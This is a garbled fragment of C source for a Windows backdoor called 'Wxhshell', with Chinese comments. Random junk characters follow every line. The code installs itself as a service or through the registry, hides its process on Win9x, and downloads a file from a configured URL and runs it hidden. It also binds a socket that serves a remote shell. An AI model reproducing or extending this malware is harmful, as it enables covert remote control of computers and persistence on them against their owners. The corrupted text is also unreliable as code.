Y)vi$;]
%d+Fq=<
PROCNTQSIP NtQueryInformationProcess; c
\??kQH
w<B
S
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'aEK{#en
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TIJH}Ri
1e[?}q]*
HANDLE hProcess; x~5,v5R^]
PROCESS_BASIC_INFORMATION pbi; qA '^b~
V<9L-7X 8
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p-"C^=l
if(NULL == hInst ) return 0; +1wEoU.l2
0cG[<\qT
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +~V_^-JG&
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]izHn; +
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )r.Wge
m^oG9&";
if (!NtQueryInformationProcess) return 0; Ze%S<xT!O
K ar!
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p1'q{E+o*
if(!hProcess) return 0; vT#R>0@mi
q%G[tXw
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;[ QIHA!
h~Ir=JV
CloseHandle(hProcess); P1OYS\
drAJ-ii
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h.?<(I
if(hProcess==NULL) return 0; ky|k g@n{
;}6wj@8He
HMODULE hMod; L&+k`b
char procName[255]; 0i}.l\
unsigned long cbNeeded; Dl.<(/
Vb?wwx7=
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /HUT6B
2(!W
9#]
CloseHandle(hProcess); fP<==DK
}N9PV/a
if(strstr(procName,"services")) return 1; // 以服务启动 %S^ke`MhF
5:38}p9`
return 0; // 注册表启动 7d.H8C2
} $E[O}+L$#
?MywA'N@x
// 主模块 .~I:Hcf/
int StartWxhshell(LPSTR lpCmdLine) :Jyr^0`J
{ Pm P&Qje7
SOCKET wsl; 9=}#.W3.
BOOL val=TRUE; )Jvo%Y
int port=0; |m\7/&@<
struct sockaddr_in door; "
:e
<a?
w)<.v+u.Y
if(wscfg.ws_autoins) Install(); =,*/Ph&
15_"U+O(/
port=atoi(lpCmdLine); @B0fRG y
vV"YgN:
if(port<=0) port=wscfg.ws_port; .K^gh$z!
q>%.zc[x
WSADATA data; rui 8x4c
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BT(eU*m-
,r3`u2)
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; EQoK\.;
G~
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A]iT
uu5 p
door.sin_family = AF_INET; kK6t|Yn&
door.sin_addr.s_addr = inet_addr("127.0.0.1"); e lM<S3
door.sin_port = htons(port); ?ZTA3mV?+
i=^6nwD&
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }qGd*k0F0
closesocket(wsl); wy|b Hkr_
return 1; i*l=xW;bM
} xX%{i0E
IRLAsb3
if(listen(wsl,2) == INVALID_SOCKET) { "$5cKbJ
closesocket(wsl); QX?moW6UW
return 1; r+Sv(KS4i^
} Xr o5~G
Wxhshell(wsl); Rex86!TO
WSACleanup(); *B4OvHi)'
*pO`sC>
return 0; bfb9A+]3'
zBca$Vp
} \*5z0A9)5)
S^1ZsD.
// 以NT服务方式启动 ??Urm[Y.Z
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a"}ndrc*
{ ]/p>p3@1C
DWORD status = 0; EFU)0IAL[
DWORD specificError = 0xfffffff; ENA"T-p
w}/+3z
serviceStatus.dwServiceType = SERVICE_WIN32; p1GP@m,^n0
serviceStatus.dwCurrentState = SERVICE_START_PENDING; guCCu2OTA%
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OGH,K'l
serviceStatus.dwWin32ExitCode = 0; '4GN%xi
serviceStatus.dwServiceSpecificExitCode = 0; BC#`S&R
serviceStatus.dwCheckPoint = 0; :V6t5I'_
serviceStatus.dwWaitHint = 0; ?;w`hA3ei
\u6.*w5TI
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q(46v`u
if (hServiceStatusHandle==0) return; D
@wIbU
cAx$W6S
status = GetLastError(); ,ZYPffu<*
if (status!=NO_ERROR) }] 1C=~lC
{ `)8SIx
serviceStatus.dwCurrentState = SERVICE_STOPPED; |BtFT
serviceStatus.dwCheckPoint = 0; jc32s}/H
serviceStatus.dwWaitHint = 0; +u |SX/C
serviceStatus.dwWin32ExitCode = status; f\hQ>MLzt
serviceStatus.dwServiceSpecificExitCode = specificError; #xR=U"
SetServiceStatus(hServiceStatusHandle, &serviceStatus); > B;YYj~f}
return; "J&WH~8+N
} 18j>x3tn
Jzp|#*~$E
serviceStatus.dwCurrentState = SERVICE_RUNNING; $BLd>gTzmv
serviceStatus.dwCheckPoint = 0; /&qE,>hd.+
serviceStatus.dwWaitHint = 0; Y HgNL LZ?
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o*~=NoR
} O<AGAD
<v\$r2C*
// 处理NT服务事件,比如:启动、停止 r_8;aPL
VOID WINAPI NTServiceHandler(DWORD fdwControl) FBrh!vQ<
{ vEE\{1
switch(fdwControl) Vv`94aQTD
{ S]}}r)
case SERVICE_CONTROL_STOP: O#!|2qN
serviceStatus.dwWin32ExitCode = 0; [Tvdchl OC
serviceStatus.dwCurrentState = SERVICE_STOPPED; nXuy&;5TL,
serviceStatus.dwCheckPoint = 0; @d8Nr:
serviceStatus.dwWaitHint = 0; 2#qcYU
{ CCC9I8rZD
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #l* w=D?
} M)JozD%
return; Ag{)?5/d_
case SERVICE_CONTROL_PAUSE: L[5U(`q[
serviceStatus.dwCurrentState = SERVICE_PAUSED; i}f" 'KW
break; %ol1WG 9
case SERVICE_CONTROL_CONTINUE: Y~r)WV!G
serviceStatus.dwCurrentState = SERVICE_RUNNING; wrJ"(:VZ
break; [tC=P&<
case SERVICE_CONTROL_INTERROGATE: g%)cyri
break; /nh3/[u
}; EKuLt*a/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); sw:a(o&$
} m.gv?
; Ob^@OM
// 标准应用程序主函数 ]W`M
<hEI
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) AYsHA w
{ j5smmtM`s
Vvv;m 5.
// 获取操作系统版本 Ofb&W
AD
OsIsNt=GetOsVer(); ,t*H: *
GetModuleFileName(NULL,ExeFile,MAX_PATH); >~'z%
szqR1A
// 从命令行安装 mtLiS3Nk8
if(strpbrk(lpCmdLine,"iI")) Install(); (6
RWI#
zDxJK
// 下载执行文件 E8lq2r=
if(wscfg.ws_downexe) { F[B=sI
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p9MJa[}V
WinExec(wscfg.ws_filenam,SW_HIDE); 7pyaHe
} s|[qq7
<&((vrfa
if(!OsIsNt) { 3/c%4b.Z
// 如果时win9x,隐藏进程并且设置为注册表启动 s I 0:<6W
HideProc(); `4Fw,:+e
StartWxhshell(lpCmdLine); m,5?|J=
} lG[j,MDs
else qJ~fEX
if(StartFromService()) 7?vj+1;
// 以服务方式启动 @L 6)RF
StartServiceCtrlDispatcher(DispatchTable); tHM0]Gb}
else OeZ"WO
// 普通方式启动 HqyAo]{GN
StartWxhshell(lpCmdLine); JZ>
(h
\nTV;@F
return 0; YKOj
}